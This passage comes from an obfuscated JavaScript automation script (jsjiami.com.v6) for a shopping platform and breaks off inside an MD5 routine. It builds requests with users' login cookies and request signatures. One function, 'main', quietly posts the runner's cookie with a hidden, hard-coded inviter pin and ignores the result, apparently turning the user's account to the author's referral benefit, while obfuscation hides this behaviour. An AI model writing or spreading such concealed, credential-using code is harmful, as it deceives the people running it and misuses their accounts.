_0x3f0f90[_0x38da('‮a0')]:$[_0x38da('‮64')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮a1')][_0x38da('‮64')];$[_0x38da('‫a2')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮a3')][_0x38da('‮a4')];$[_0x38da('‮a1')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮a1')];$[_0x38da('‫a5')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮a1')][_0x38da('‫a5')];break;case _0x3f0f90[_0x38da('‫a6')]:if(_0x3f0f90[_0x38da('‮a7')](_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')],0x1f4)){if(_0x3f0f90[_0x38da('‮a8')](_0x3f0f90[_0x38da('‫a9')],_0x3f0f90[_0x38da('‫a9')])){console[_0x38da('‫29')](_0x17d174[_0x38da('‮4d')][_0x38da('‫16')]);}else{result[_0x38da('‮1d')](cookiesArr[_0x38da('‫1e')](i,_0x169da5[_0x38da('‮aa')](i,0xf)));}}else if(_0x3f0f90[_0x38da('‮a8')](_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')],0xc8)){if(_0x3f0f90[_0x38da('‫ab')](_0x3f0f90[_0x38da('‫ac')],_0x3f0f90[_0x38da('‮ad')])){console[_0x38da('‫29')](_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮4e')]);}else{uuid=v[_0x38da('‮ae')](0x24)[_0x38da('‮af')]();}}break;case _0x3f0f90[_0x38da('‫b0')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){$[_0x38da('‮66')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')];}break;case _0x3f0f90[_0x38da('‫b1')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){$[_0x38da('‫b2')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮b3')][_0x38da('‫b4')];}break;case _0x3f0f90[_0x38da('‫b5')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){$[_0x38da('‫b6')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‫b7')][_0x38da('‫b8')];}break;case _0x3f0f90[_0x38da('‮b9')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){$[_0x38da('‮ba')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮ba')];}break;case _0x3f0f90[_0x38da('‫bb')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){console[_0x38da('‫29')](_0x17d174[_0x38da('‮4d')]);}break;case _0x3f0f90[_0x38da('‮bc')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){console[_0x38da('‫29')](_0x17d174[_0x38da('‮4d')]);}break;default:break;}}else{$[_0x38da('‫29')](error);}}}}else{message+=_0x38da('‫4f')+$[_0x38da('‮2f')]+'】'+($[_0x38da('‫31')]||$[_0x38da('‮2c')])+_0x38da('‫50')+$[_0x38da('‮39')]+_0x38da('‮51');}}else{if(_0x3f0f90[_0x38da('‫bd')](_0x3f0f90[_0x38da('‫be')],_0x3f0f90[_0x38da('‫be')])){$[_0x38da('‫29')](_0x3f0f90[_0x38da('‫bf')]);}else{_0x17d174=JSON[_0x38da('‮52')](_0x17d174);if(_0x169da5[_0x38da('‫c0')](_0x17d174[_0x38da('‮53')],'0')){$[_0x38da('‫54')]=_0x17d174[_0x38da('‫54')];}}}}}catch(_0x461920){if(_0x3f0f90[_0x38da('‮95')](_0x3f0f90[_0x38da('‮c1')],_0x3f0f90[_0x38da('‮c1')])){$[_0x38da('‫29')](_0x461920);}else{$[_0x38da('‫31')]=_0x17d174[_0x38da('‮4d')][_0x38da('‫c2')][_0x38da('‮c3')][_0x38da('‫c4')];}}finally{_0x3f0f90[_0x38da('‫c5')](_0x4d0bd8);}});});}function taskUrl(_0x4effe2,_0xaba463,_0x3a9e84=0x1){var _0x19592d={'pRhTP':_0x38da('‮c6'),'RhYUu':_0x38da('‮c7'),'oQASE':_0x38da('‮c8'),'ndZot':_0x38da('‮c9'),'LmAPd':_0x38da('‫ca'),'EdDyT':_0x38da('‮cb'),'LKmQR':_0x38da('‮cc'),'QMYMz':_0x38da('‫cd'),'jePRo':_0x38da('‫ce')};return{'url':_0x3a9e84?_0x38da('‫cf')+_0x4effe2+_0x38da('‮d0')+($[_0x38da('‮64')]?$[_0x38da('‮64')]:'')+_0x38da('‮d1')+($[_0x38da('‫a2')]?$[_0x38da('‫a2')]:''):_0x38da('‫cf')+_0x4effe2+_0x38da('‮d0')+($[_0x38da('‮64')]?$[_0x38da('‮64')]:'')+_0x38da('‮d2')+($[_0x38da('‫a2')]?$[_0x38da('‫a2')]:''),'headers':{'Host':_0x19592d[_0x38da('‫d3')],'Accept':_0x19592d[_0x38da('‮d4')],'X-Requested-With':_0x19592d[_0x38da('‫d5')],'Accept-Language':_0x19592d[_0x38da('‫d6')],'Accept-Encoding':_0x19592d[_0x38da('‮d7')],'Content-Type':_0x19592d[_0x38da('‫d8')],'Origin':_0x19592d[_0x38da('‮d9')],'User-Agent':_0x38da('‮da')+$[_0x38da('‫3d')]+_0x38da('‮db')+$[_0x38da('‮3a')]+_0x38da('‫dc'),'Connection':_0x19592d[_0x38da('‫dd')],'Referer':_0x19592d[_0x38da('‮de')],'Cookie':cookie},'body':JSON[_0x38da('‫df')](_0xaba463)};}async function main(_0xfae1b2){var _0x34f262={'cIdUw':_0x38da('‫e0'),'TEomX':_0x38da('‮e1'),'GzxRS':function(_0x1c3603,_0x35bca5){return _0x1c3603*_0x35bca5;},'rrXNR':_0x38da('‫e2'),'JbvFV':_0x38da('‫e3'),'MlJSu':function(_0xac374c,_0x247b8c){return _0xac374c(_0x247b8c);},'kNiMF':_0x38da('‮e4'),'MgHAe':_0x38da('‮e5'),'xNTLp':_0x38da('‮e6'),'mGJpi':_0x38da('‮e7'),'RXmmp':_0x38da('‮c9'),'lDUmO':function(_0x557a45,_0x223ee9){return _0x557a45(_0x223ee9);},'JYJfS':_0x38da('‫e8'),'uMVdB':_0x38da('‮e9'),'zCTXN':_0x38da('‫ea'),'cZRvI':_0x38da('‫eb'),'sIsfs':_0x38da('‫ca')};$[_0x38da('‮1a')]=0x1;$[_0x38da('‫ec')]=_0x34f262[_0x38da('‮ed')];const _0x5bea6b=[_0x34f262[_0x38da('‫ee')]];let _0x20e24=_0x5bea6b[Math[_0x38da('‮12')](_0x34f262[_0x38da('‫ef')](Math[_0x38da('‫14')](),_0x5bea6b[_0x38da('‮1c')]))];let _0xb89e4e={'url':_0x34f262[_0x38da('‫f0')],'body':_0x38da('‮f1')+JSON[_0x38da('‫df')]({'method':_0x34f262[_0x38da('‫f2')],'data':{'channel':'1','encryptionInviterPin':_0x34f262[_0x38da('‮f3')](encodeURIComponent,_0x20e24),'type':0x1}})+_0x38da('‫f4')+Date[_0x38da('‫f5')](),'headers':{'Host':_0x34f262[_0x38da('‫f6')],'Accept':_0x34f262[_0x38da('‮f7')],'Content-Type':_0x34f262[_0x38da('‮f8')],'Origin':_0x34f262[_0x38da('‮f9')],'Accept-Language':_0x34f262[_0x38da('‮fa')],'User-Agent':$[_0x38da('‮38')]()?process[_0x38da('‮fb')][_0x38da('‫fc')]?process[_0x38da('‮fb')][_0x38da('‫fc')]:_0x34f262[_0x38da('‮fd')](require,_0x34f262[_0x38da('‮fe')])[_0x38da('‫ff')]:$[_0x38da('‮100')](_0x34f262[_0x38da('‮101')])?$[_0x38da('‮100')](_0x34f262[_0x38da('‮101')]):_0x34f262[_0x38da('‮102')],'Referer':_0x34f262[_0x38da('‫103')],'Accept-Encoding':_0x34f262[_0x38da('‮104')],'Cookie':_0xfae1b2}};$[_0x38da('‫96')](_0xb89e4e,(_0x422e7d,_0x2d9bdc,_0x1c1923)=>{});}function getToken(){var _0x22a44a={'HfWKi':_0x38da('‮2'),'PsKJX':_0x38da('‮3'),'jMAKe':function(_0x325252){return _0x325252();},'WnndK':function(_0x478f67,_0x254406){return _0x478f67===_0x254406;},'rIlaK':_0x38da('‫105'),'ydoOK':function(_0x10adf0,_0x463562){return _0x10adf0!==_0x463562;},'vXkGE':_0x38da('‮106'),'yHFeq':_0x38da('‮107'),'tDAGY':_0x38da('‫108'),'zfHHk':_0x38da('‮109'),'FqWfz':_0x38da('‮10a'),'rYZjo':_0x38da('‮10b'),'URInI':function(_0x39b4a4,_0x445e92){return _0x39b4a4===_0x445e92;},'ricwk':_0x38da('‮0'),'fBIiI':function(_0x1c1d52,_0x5474a6){return _0x1c1d52===_0x5474a6;},'pVlTt':_0x38da('‫10c'),'UZWIC':_0x38da('‮10d'),'lAZfI':_0x38da('‫10e'),'xtoqn':_0x38da('‮e4'),'htJcp':_0x38da('‮e6'),'OKnLa':_0x38da('‫10f'),'gpGWZ':_0x38da('‫cd'),'lTvrl':_0x38da('‮110'),'ReAqW':_0x38da('‮111'),'AWjvd':_0x38da('‫ca')};let _0x23edd4={'url':_0x38da('‮112'),'headers':{'Host':_0x22a44a[_0x38da('‫113')],'Content-Type':_0x22a44a[_0x38da('‮114')],'Accept':_0x22a44a[_0x38da('‫115')],'Connection':_0x22a44a[_0x38da('‮116')],'Cookie':cookie,'User-Agent':_0x22a44a[_0x38da('‮117')],'Accept-Language':_0x22a44a[_0x38da('‫118')],'Accept-Encoding':_0x22a44a[_0x38da('‫119')]},'body':_0x38da('‮11a')};return new Promise(_0x445b48=>{var _0xe71097={'mFMyd':_0x22a44a[_0x38da('‫11b')]};if(_0x22a44a[_0x38da('‮11c')](_0x22a44a[_0x38da('‫11d')],_0x22a44a[_0x38da('‮11e')])){$[_0x38da('‫29')](error);}else{$[_0x38da('‫96')](_0x23edd4,(_0x4dc3b0,_0x425918,_0xa5dc33)=>{var _0x50d469={'moRup':_0x22a44a[_0x38da('‮11f')],'rqMBd':_0x22a44a[_0x38da('‫120')],'zcFLI':function(_0x1c618c){return _0x22a44a[_0x38da('‫121')](_0x1c618c);}};if(_0x22a44a[_0x38da('‫122')](_0x22a44a[_0x38da('‫123')],_0x22a44a[_0x38da('‫123')])){try{if(_0x22a44a[_0x38da('‮124')](_0x22a44a[_0x38da('‮125')],_0x22a44a[_0x38da('‫126')])){if(_0x4dc3b0){$[_0x38da('‫29')](_0x4dc3b0);}else{if(_0x22a44a[_0x38da('‮124')](_0x22a44a[_0x38da('‫127')],_0x22a44a[_0x38da('‮128')])){if(_0xa5dc33){if(_0x22a44a[_0x38da('‮124')](_0x22a44a[_0x38da('‮129')],_0x22a44a[_0x38da('‮12a')])){_0xa5dc33=JSON[_0x38da('‮52')](_0xa5dc33);if(_0x22a44a[_0x38da('‫12b')](_0xa5dc33[_0x38da('‮53')],'0')){$[_0x38da('‫54')]=_0xa5dc33[_0x38da('‫54')];}}else{console[_0x38da('‫29')](_0xa5dc33[_0x38da('‮4d')]);}}else{$[_0x38da('‫29')](_0x22a44a[_0x38da('‫11b')]);}}else{$[_0x38da('‫29')](_0x4dc3b0);}}}else{$[_0x38da('‫16')]($[_0x38da('‫17')],_0x50d469[_0x38da('‫12c')],_0x50d469[_0x38da('‮12d')],{'open-url':_0x50d469[_0x38da('‮12d')]});return;}}catch(_0x405aaf){$[_0x38da('‫29')](_0x405aaf);}finally{if(_0x22a44a[_0x38da('‮11c')](_0x22a44a[_0x38da('‫12e')],_0x22a44a[_0x38da('‫12e')])){_0x22a44a[_0x38da('‫121')](_0x445b48);}else{$[_0x38da('‫29')](_0xe71097[_0x38da('‮12f')]);}}}else{_0x50d469[_0x38da('‮130')](_0x445b48);}});}});}function random(_0x1336f0,_0x3bd272){var _0xa9c013={'KIMwh':function(_0x51992e,_0x3cc209){return _0x51992e+_0x3cc209;},'dqJLJ':function(_0xecb6e7,_0x227f52){return _0xecb6e7*_0x227f52;},'OLUXZ':function(_0x3181eb,_0x1bf5f7){return _0x3181eb-_0x1bf5f7;}};return _0xa9c013[_0x38da('‮131')](Math[_0x38da('‮12')](_0xa9c013[_0x38da('‫132')](Math[_0x38da('‫14')](),_0xa9c013[_0x38da('‫133')](_0x3bd272,_0x1336f0))),_0x1336f0);}function getUUID(_0x4accb7=_0x38da('‫9'),_0x33f40f=0x0){var _0xd9660c={'LWiyy':function(_0x28e8f9,_0xaf0665){return _0x28e8f9|_0xaf0665;},'SSxTB':function(_0x1335d8,_0x1d7708){return _0x1335d8*_0x1d7708;},'YObHO':function(_0x2ac106,_0x4c82f8){return _0x2ac106==_0x4c82f8;},'CFfIP':function(_0x2ab55f,_0x25e1e0){return _0x2ab55f&_0x25e1e0;},'uIXDj':function(_0x202d02,_0x401261){return _0x202d02!==_0x401261;},'Iswrt':_0x38da('‫134'),'GrGLZ':function(_0x59d46c,_0x2228e7){return _0x59d46c===_0x2228e7;},'NgXVG':_0x38da('‮135'),'DOwnn':_0x38da('‫136')};return _0x4accb7[_0x38da('‫137')](/[xy]/g,function(_0x51cd39){var _0x4c9148=_0xd9660c[_0x38da('‮138')](_0xd9660c[_0x38da('‮139')](Math[_0x38da('‫14')](),0x10),0x0),_0x48d94e=_0xd9660c[_0x38da('‫13a')](_0x51cd39,'x')?_0x4c9148:_0xd9660c[_0x38da('‮138')](_0xd9660c[_0x38da('‫13b')](_0x4c9148,0x3),0x8);if(_0x33f40f){if(_0xd9660c[_0x38da('‫13c')](_0xd9660c[_0x38da('‫13d')],_0xd9660c[_0x38da('‫13d')])){$[_0x38da('‫54')]=data[_0x38da('‫54')];}else{uuid=_0x48d94e[_0x38da('‮ae')](0x24)[_0x38da('‮af')]();}}else{if(_0xd9660c[_0x38da('‮13e')](_0xd9660c[_0x38da('‫13f')],_0xd9660c[_0x38da('‫140')])){$[_0x38da('‫59')]();}else{uuid=_0x48d94e[_0x38da('‮ae')](0x24);}}return uuid;});}function checkCookie(){var _0x17cb3d={'GnVUU':_0x38da('‮60'),'pGDGC':_0x38da('‮c6'),'TwmRZ':_0x38da('‮c7'),'HoIDc':_0x38da('‮c8'),'UxiZz':_0x38da('‮c9'),'dRcuI':_0x38da('‫ca'),'NrpQk':_0x38da('‮cb'),'IoOXf':_0x38da('‮cc'),'XvGAl':_0x38da('‫cd'),'XPXTM':_0x38da('‫ce'),'FnnPk':function(_0x29593c,_0x18cb91){return _0x29593c!==_0x18cb91;},'reSBs':_0x38da('‮141'),'Kydir':function(_0x4391a1,_0x2be1cd){return _0x4391a1!==_0x2be1cd;},'AzgCc':_0x38da('‫142'),'PyrLo':_0x38da('‮143'),'yMeNH':function(_0x337640,_0x4a8cfb){return _0x337640===_0x4a8cfb;},'bfHGG':_0x38da('‫144'),'ChHdP':_0x38da('‫c2'),'ENxbF':_0x38da('‫145'),'NQmlS':function(_0x1ae381,_0x5e7e29){return _0x1ae381!==_0x5e7e29;},'pbFHc':_0x38da('‮146'),'NGjKf':_0x38da('‮147'),'JXBqh':_0x38da('‮0'),'GiLZJ':function(_0x56e073,_0x24e002){return _0x56e073===_0x24e002;},'iEASV':_0x38da('‮148'),'PGjYg':_0x38da('‫149'),'kocut':function(_0x46ba0d,_0x50a4c3){return _0x46ba0d!==_0x50a4c3;},'HpGWV':_0x38da('‫14a'),'cniZw':function(_0x12d8f5){return _0x12d8f5();},'LzUWs':_0x38da('‫14b'),'etMZe':_0x38da('‫14c'),'dnFIf':function(_0x2008c2,_0x1729ba){return _0x2008c2(_0x1729ba);},'PDbjC':_0x38da('‫14d'),'tiavf':_0x38da('‫14e'),'qLGGa':function(_0x5de83a,_0x228c46){return _0x5de83a+_0x228c46;},'YmCyo':function(_0x214db7,_0x4969fc){return _0x214db7+_0x4969fc;},'mxsUt':function(_0x333ff1,_0x55c320){return _0x333ff1+_0x55c320;},'ElyoC':function(_0x4445a3,_0x4ea135){return _0x4445a3+_0x4ea135;},'LNafo':_0x38da('‫14f'),'SbIBm':_0x38da('‫40'),'DygDN':_0x38da('‮92'),'dQNwO':_0x38da('‫150'),'RrnEE':_0x38da('‮151'),'dqfKt':_0x38da('‫10f'),'rNSPW':_0x38da('‮152'),'rVBHC':_0x38da('‫153'),'eiDRV':_0x38da('‫154')};const _0x28c377={'url':_0x17cb3d[_0x38da('‫155')],'headers':{'Host':_0x17cb3d[_0x38da('‫156')],'Accept':_0x17cb3d[_0x38da('‫157')],'Connection':_0x17cb3d[_0x38da('‮158')],'Cookie':cookie,'User-Agent':_0x17cb3d[_0x38da('‮159')],'Accept-Language':_0x17cb3d[_0x38da('‫15a')],'Referer':_0x17cb3d[_0x38da('‫15b')],'Accept-Encoding':_0x17cb3d[_0x38da('‫15c')]}};return new Promise(_0x4508cd=>{var _0x1e6079={'AsIBu':_0x17cb3d[_0x38da('‫15d')],'OKwye':_0x17cb3d[_0x38da('‮15e')],'Avbpt':function(_0x15e603,_0x5bdb06){return _0x17cb3d[_0x38da('‮15f')](_0x15e603,_0x5bdb06);},'qsoCj':_0x17cb3d[_0x38da('‮160')],'RVPNM':_0x17cb3d[_0x38da('‫161')],'ByCgo':function(_0x17c9fd,_0x5c29a1){return _0x17cb3d[_0x38da('‮162')](_0x17c9fd,_0x5c29a1);},'jbwAa':function(_0x190c08,_0x4ca73c){return _0x17cb3d[_0x38da('‫163')](_0x190c08,_0x4ca73c);},'qmTmd':function(_0x55d1b9,_0x4ff944){return _0x17cb3d[_0x38da('‫164')](_0x55d1b9,_0x4ff944);},'GbnWJ':function(_0x534a3d,_0x355d38){return _0x17cb3d[_0x38da('‮165')](_0x534a3d,_0x355d38);},'TXZfU':_0x17cb3d[_0x38da('‫166')],'CgNAU':_0x17cb3d[_0x38da('‮167')],'PnvQC':_0x17cb3d[_0x38da('‮168')],'mdDdB':function(_0x1f458b){return _0x17cb3d[_0x38da('‮169')](_0x1f458b);}};$[_0x38da('‮16a')](_0x28c377,(_0x2024aa,_0x266217,_0x41ddea)=>{var _0x4f63f8={'YyAJo':_0x17cb3d[_0x38da('‫16b')],'GWBmQ':_0x17cb3d[_0x38da('‮16c')],'xzymF':_0x17cb3d[_0x38da('‮16d')],'UEEWG':_0x17cb3d[_0x38da('‫16e')],'itcYf':_0x17cb3d[_0x38da('‫16f')],'nagvR':_0x17cb3d[_0x38da('‫15c')],'LFnzY':_0x17cb3d[_0x38da('‮170')],'WgOBP':_0x17cb3d[_0x38da('‮171')],'GoVHC':_0x17cb3d[_0x38da('‮158')],'taXEl':_0x17cb3d[_0x38da('‫172')]};try{if(_0x2024aa){if(_0x17cb3d[_0x38da('‮173')](_0x17cb3d[_0x38da('‫174')],_0x17cb3d[_0x38da('‫174')])){$[_0x38da('‫29')](_0x4f63f8[_0x38da('‫175')]);}else{$[_0x38da('‮2b')](_0x2024aa);}}else{if(_0x17cb3d[_0x38da('‮176')](_0x17cb3d[_0x38da('‫177')],_0x17cb3d[_0x38da('‮178')])){if(_0x41ddea){_0x41ddea=JSON[_0x38da('‮52')](_0x41ddea);if(_0x17cb3d[_0x38da('‫179')](_0x41ddea[_0x38da('‮17a')],_0x17cb3d[_0x38da('‮17b')])){$[_0x38da('‫30')]=![];return;}if(_0x17cb3d[_0x38da('‫179')](_0x41ddea[_0x38da('‮17a')],'0')&&_0x41ddea[_0x38da('‮4d')][_0x38da('‫17c')](_0x17cb3d[_0x38da('‫17d')])){if(_0x17cb3d[_0x38da('‫179')](_0x17cb3d[_0x38da('‮17e')],_0x17cb3d[_0x38da('‮17e')])){$[_0x38da('‫31')]=_0x41ddea[_0x38da('‮4d')][_0x38da('‫c2')][_0x38da('‮c3')][_0x38da('‫c4')];}else{$[_0x38da('‮2b')](_0x2024aa);}}}else{if(_0x17cb3d[_0x38da('‫17f')](_0x17cb3d[_0x38da('‫180')],_0x17cb3d[_0x38da('‫181')])){$[_0x38da('‫29')](_0x17cb3d[_0x38da('‫182')]);}else{return{'url':isCommon?_0x38da('‫cf')+function_id+_0x38da('‮d0')+($[_0x38da('‮64')]?$[_0x38da('‮64')]:'')+_0x38da('‮d1')+($[_0x38da('‫a2')]?$[_0x38da('‫a2')]:''):_0x38da('‫cf')+function_id+_0x38da('‮d0')+($[_0x38da('‮64')]?$[_0x38da('‮64')]:'')+_0x38da('‮d2')+($[_0x38da('‫a2')]?$[_0x38da('‫a2')]:''),'headers':{'Host':_0x4f63f8[_0x38da('‮183')],'Accept':_0x4f63f8[_0x38da('‫184')],'X-Requested-With':_0x4f63f8[_0x38da('‮185')],'Accept-Language':_0x4f63f8[_0x38da('‫186')],'Accept-Encoding':_0x4f63f8[_0x38da('‮187')],'Content-Type':_0x4f63f8[_0x38da('‮188')],'Origin':_0x4f63f8[_0x38da('‫189')],'User-Agent':_0x38da('‮da')+$[_0x38da('‫3d')]+_0x38da('‮db')+$[_0x38da('‮3a')]+_0x38da('‫dc'),'Connection':_0x4f63f8[_0x38da('‫18a')],'Referer':_0x4f63f8[_0x38da('‫18b')],'Cookie':cookie},'body':JSON[_0x38da('‫df')](body)};}}}else{console[_0x38da('‫29')](_0x41ddea[_0x38da('‮4d')][_0x38da('‫16')]);}}}catch(_0x454d05){if(_0x17cb3d[_0x38da('‫18c')](_0x17cb3d[_0x38da('‮18d')],_0x17cb3d[_0x38da('‮18e')])){var _0x49326e=new Date()[_0x38da('‫18f')](),_0x140db0=_0x1e6079[_0x38da('‮190')],_0x129f78=_0x1e6079[_0x38da('‫191')],_0x3e6337=JSON[_0x38da('‫df')](t),_0x3415dc=_0x1e6079[_0x38da('‮192')](encodeURIComponent,_0x3e6337),_0x1d3591=new RegExp('\x27','g'),_0x38fe88=new RegExp('~','g'),_0x3415dc=_0x3415dc[_0x38da('‫137')](_0x1d3591,_0x1e6079[_0x38da('‫193')]),_0x3415dc=_0x3415dc[_0x38da('‫137')](_0x38fe88,_0x1e6079[_0x38da('‫194')]),_0xb7b8b4=_0x1e6079[_0x38da('‫195')](_0x1e6079[_0x38da('‮196')](_0x1e6079[_0x38da('‮197')](_0x1e6079[_0x38da('‮197')](_0x1e6079[_0x38da('‮197')](_0x1e6079[_0x38da('‮197')](_0x1e6079[_0x38da('‫198')](_0x129f78,_0x1e6079[_0x38da('‫199')]),_0x3415dc),_0x1e6079[_0x38da('‮19a')]),_0x129f78),_0x1e6079[_0x38da('‮19b')]),_0x49326e),_0x140db0);return{'sign':CryptoJS[_0x38da('‫19c')](_0xb7b8b4[_0x38da('‮19d')]())[_0x38da('‮ae')](),'timeStamp':_0x49326e};}else{$[_0x38da('‮2b')](_0x454d05);}}finally{if(_0x17cb3d[_0x38da('‫19e')](_0x17cb3d[_0x38da('‮19f')],_0x17cb3d[_0x38da('‮19f')])){_0x1e6079[_0x38da('‮1a0')](_0x4508cd);}else{_0x17cb3d[_0x38da('‮169')](_0x4508cd);}}});});}function getSign(_0x62c294){var _0x479f2d={'APuqP':_0x38da('‫14b'),'mDwdL':_0x38da('‫14c'),'SLEfn':function(_0x5c3bad,_0x55fff2){return _0x5c3bad(_0x55fff2);},'eqqzY':_0x38da('‫14d'),'BJYpE':_0x38da('‫14e'),'Ilzuj':function(_0x2e1631,_0x4a2dd0){return _0x2e1631+_0x4a2dd0;},'mCVYd':function(_0x1ce4ef,_0x165ff9){return _0x1ce4ef+_0x165ff9;},'Vmrad':function(_0x370da9,_0x49513e){return _0x370da9+_0x49513e;},'fnvGV':_0x38da('‫14f'),'EoKBw':_0x38da('‫40'),'OTRWF':_0x38da('‮92')};var _0x359ad3=new Date()[_0x38da('‫18f')](),_0x539261=_0x479f2d[_0x38da('‮1a1')],_0x4286ed=_0x479f2d[_0x38da('‮1a2')],_0x423184=JSON[_0x38da('‫df')](_0x62c294),_0x42f6c4=_0x479f2d[_0x38da('‫1a3')](encodeURIComponent,_0x423184),_0x2838f1=new RegExp('\x27','g'),_0x580404=new RegExp('~','g'),_0x42f6c4=_0x42f6c4[_0x38da('‫137')](_0x2838f1,_0x479f2d[_0x38da('‮1a4')]),_0x42f6c4=_0x42f6c4[_0x38da('‫137')](_0x580404,_0x479f2d[_0x38da('‮1a5')]),_0x194dce=_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‮1a6')](_0x479f2d[_0x38da('‫1a7')](_0x479f2d[_0x38da('‮1a8')](_0x4286ed,_0x479f2d[_0x38da('‮1a9')]),_0x42f6c4),_0x479f2d[_0x38da('‮1aa')]),_0x4286ed),_0x479f2d[_0x38da('‮1ab')]),_0x359ad3),_0x539261);return{'sign':CryptoJS[_0x38da('‫19c')](_0x194dce[_0x38da('‮19d')]())[_0x38da('‮ae')](),'timeStamp':_0x359ad3};};_0xod6='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += 